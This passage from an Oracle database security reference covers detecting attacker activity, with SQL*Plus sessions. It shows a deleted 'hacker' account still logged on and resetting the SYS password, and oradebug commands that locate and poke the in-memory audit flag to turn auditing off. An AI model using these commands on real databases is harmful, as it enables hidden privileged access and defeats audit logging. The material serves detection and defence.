Database Reference
In-Depth Information
But hacker/o@192.168.56.101/orcl is still logged on despite no record of their account and is able to change the
password of SYS as follows:
SQL> alter user sys identified by newpassword;
User altered.
How easy is it to detect that an account has been created, then deleted, but is still logged on as an active account?
This query will still detect the hidden user:
SQL> select distinct username from v$session;
USERNAME
------------------------------
HACKER
SYSTEM ..
Once again, the preceding issue has been easy to check for. Let's get more advanced.
Detecting Oradebug Usage
What if the attacker uses
oradebug
to modify the memory address that controls whether authentication or auditing
is enabled? Below is the method for identifying whether audit trail is turned on in memory, which is controlled by
whether
KSMMMVAL
is equal to 1 (=true) or 0 (=false).
SQL> select fsv.KSMFSNAM,sga.*
from x$ksmfsv fsv, x$ksmmem sga
where sga.addr=fsv.KSMFSADR
and fsv.ksmfsnam like 'kzaflg_%'; 2 3 4
KSMFSNAM
----------------------------------------------------------------
ADDR INDX INST_ID KSMMMVAL
---------------- ---------- ---------- ----------------
kzaflg_
0000000060031BB0 25462 1
0000000000000001
SQL> sho parameter audit;
NAME TYPE VALUE
------------------------------------ ----------- ------------------------------
audit_file_dest string /u01/app/oracle/admin/orcl/adump
audit_sys_operations boolean TRUE
audit_syslog_level string LOCAL6.INFO
audit_trail string OS
SQL> oradebug setmypid
Statement processed.
SQL> oradebug poke 0x60031bb0 1 0
BEFORE: [060031BB0, 060031BB4) =
00000001
AFTER: [060031BB0, 060031BB4) =
00000000
